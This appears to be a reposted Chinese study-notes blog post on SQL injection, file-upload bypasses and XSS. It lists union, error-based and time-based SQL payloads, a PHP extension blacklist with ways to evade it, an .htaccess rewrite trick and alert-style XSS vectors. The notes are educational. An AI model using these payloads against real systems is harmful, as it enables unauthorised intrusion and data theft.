ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

三大安全漏洞学习总结

2022-02-27 16:35:46  阅读:184  来源: 互联网

标签:总结 name database 三大 file 安全漏洞 table select schema


SQL注入

  • 总的来说就是拼接

  • 常见的变量有**'$id' "$id" ('id') ("id") $id** 就是括号和引号的配合,称作字符型和数字型

  • 原理:就是闭合前面的,注释后面的或再闭合后面的,中间可以插入sql语句。来查询数据

  • 最基本的,假设字段数为2:

    • 查表名: -1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

    • 查字段名: -1 union select 1, group_concat(column_name) from information_schema.columns where table_name='表名'

    • 查值:略

  • 报错查询

  • 一般如果没有字段数,没有回显的地方可以考虑报错查询。

    • extractvalue(1,concat(0x7e,(select ........),0x7e))
    • updatexml(1,concat(0x7e,(select ......),0x7e),1)
    • select count(*),concat((select ),0x26,floor(rand(14)*2))a from information_shcema.tables group by a
    • 我常用的就这三个
  • 盲注

  • 没有字段数,还不报错。但是可以注入,就盲注。

  • 介绍几个函数,substr(),mid()

    • if(substr(database(),1,1)='s',1,0)

    • if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s',1,0)

    • left(database(), 1) > 's'

    • ascii(substr(database(),1,1)= 101

    • if(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)='s',sleep(3),0)

  • 绕过

  • 注释绕过

    #
    --+
    
  • 过滤空格

    %09  Tab键
    %a0  空格
    /**/
    ()
    
  • 过滤=

    like
    regexp
    

uoload文件上传

  • 可以再前端写一个函数onsubmit = "return checkfile()"

    • 这种可以先上传一个.jpg格式的,然后通过抓包再修改成.php格式的绕过检测
  • 后端检测$_FILES['submit'][type] 的属性,可以抓包修改成成image/png

  • $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
    		$file_name = trim($_FILES['upload_file']['name']);
            $file_name = $_FILES['upload_file']['name'];
            $file_name = deldot($file_name);//删除文件名末尾的点
            $file_ext = strrchr($file_name, '.');
            $file_ext = strtolower($file_ext); //转换为小写
            $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
    
  • 这是个黑名单过滤,通过获取用户上传文件的文件名来过滤,里面相应的函数都有相应的绕过方法

  • 白名单绕过

    • 文件最后命名的时候,不会命名成原名字,会通过一系列的拼接,最后命名成jpg等格式的文件

    • %00 可以阻断后面的字符串拼接

  • 文件包含漏洞

    • 文件中有一个$file=$_GET[file]; include($file)函数,可以给file传参,给它传入一个有漏洞的文件路径 .jpg。可以先上传一个图片木马
  • 还有一种修改配置.htaccess文件

    • AddType Application/x-httpd-php .png .jpg .gif

    • 会把上面格式的当作php文件操作

XSS

  • 把输入表单的值加入到html中,执行js的操作

  • 常需要用到的标签有

    • <script>alert("123")</script>
      onclick=javascript:alert(123)
      <a href=javascript:alert(123)>xss</a>
      <img src=123 one rror=javascript:alert(123)>
      data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
      
  • htmlspecialchars()函数

    • 会把<> "" (空格)等都转换成html实体字符
  • 通过输入表单内容,判断后端做的过滤

    • 一般就是将关键字等,on src data href " 等替换成其它的或者过滤
  • xss还通过可以修改隐藏域,来达到注入的效果

标签:总结,name,database,三大,file,安全漏洞,table,select,schema
来源: https://www.cnblogs.com/Q-and-K/p/15942628.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有